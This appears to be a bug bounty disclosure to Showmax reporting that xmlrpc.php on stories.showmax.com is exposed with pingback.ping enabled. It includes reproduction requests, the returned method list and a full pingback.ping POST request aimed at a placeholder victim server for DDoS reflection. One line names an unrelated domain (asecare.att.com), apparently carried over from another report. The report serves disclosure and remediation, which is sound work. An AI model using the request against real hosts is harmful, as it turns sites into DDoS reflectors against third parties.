**Summary:** Greetings @Showmax, i found an xmlrpc.php file on https://stories.showmax.com, it's publicly available and it accepts POST requests. **Description:** your site is a WordPress site based, xmlrpc.php is a file that is intended to make API calls between hosts, if it's enabled on a WordPress site with methods like pingback.ping and other methods as well; https://stories.showmax.com can be made as a part of a big botnet network to carry out DDoS attacks against other victim hosts. **Platform(s) Affected:** [website] https://stories.showmax.com ## Steps To Reproduce: 1. Send a POST request to https://stories.showmax.com/xmlrpc.php with the following snippet of code in the HTTP request body: ``` demo.sayHello admin ``` 2. You should see this response: ``` HTTP/1.1 200 OK // HTTP Response Headers Hello! ``` 3. ok, xmlrpc.php is enabled, let's see what are the available methods using this snippet of code in the HTTP request: ``` system.listMethods ``` **HTTP Response:** ``` HTTP/2 200 OK // HTTP Response Headers system.multicall system.listMethods system.getCapabilities demo.addTwoNumbers demo.sayHello pingback.extensions.getPingbacks pingback.ping mt.publishPost mt.getTrackbackPings mt.supportedTextFilters mt.supportedMethods mt.setPostCategories mt.getPostCategories mt.getRecentPostTitles mt.getCategoryList metaWeblog.getUsersBlogs metaWeblog.deletePost metaWeblog.newMediaObject metaWeblog.getCategories metaWeblog.getRecentPosts metaWeblog.getPost metaWeblog.editPost metaWeblog.newPost blogger.deletePost blogger.editPost blogger.newPost blogger.getRecentPosts blogger.getPost blogger.getUserInfo blogger.getUsersBlogs wp.restoreRevision wp.getRevisions wp.getPostTypes wp.getPostType wp.getPostFormats wp.getMediaLibrary wp.getMediaItem wp.getCommentStatusList wp.newComment wp.editComment wp.deleteComment wp.getComments wp.getComment wp.setOptions wp.getOptions wp.getPageTemplates wp.getPageStatusList wp.getPostStatusList wp.getCommentCount wp.deleteFile wp.uploadFile wp.suggestCategories wp.deleteCategory wp.newCategory wp.getTags wp.getCategories wp.getAuthors wp.getPageList wp.editPage wp.deletePage wp.newPage wp.getPages wp.getPage wp.editProfile wp.getProfile wp.getUsers wp.getUser wp.getTaxonomies wp.getTaxonomy wp.getTerms wp.getTerm wp.deleteTerm wp.editTerm wp.newTerm wp.getPosts wp.getPost wp.deletePost wp.editPost wp.newPost wp.getUsersBlogs ``` we have pingback.ping method in the list of methods, a DDoS attack against other hosts is possible now ! ## Exploiting Scenario: if you have a server for test purposes, please follow this: let's consider https://stories.showmax.com with xmlrpc.php that's enabled, and let's consider http://YOUR-SERVER, a DDoS Attack can be achieved against http://YOUR-SERVER using this request: ``` POST /xmlrpc.php HTTP/1.1 Host: stories.showmax.com Cookie: YOUR-COOKIE Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Length: 93 pingback.ping http://YOUR-SERVER/ https://stories.showmax.com ``` - As soon as the above request is sent, the victim host (YOUR-SERVER) gets an entry in its log file with a request originating from the asecare.att.com domain verifying the pingback This can be automated from multiple hosts and be used to cause a mass DDOS attack on the victim. ## Remediation Action: if xmlrpc.php isn't needed, please remove it or at least deny access to it to prevent malicious users from exploiting it Best Regards, @mdakh404 ## Supporting Material/References: **References**: - https://www.acunetix.com/blog/web-security-zone/wordpress-pingback-vulnerability/ - https://blog.sucuri.net/2014/03/more-than-162000-wordpress-sites-used-for-distributed-denial-of-service-attack.html ## Impact https://stories.showmax.com can be added to a huge Botnet network to attack victim hosts using DDoS.

Showmax: xmlrpc.php is publicly available at https://stories.showmax.com/xmlrpc.php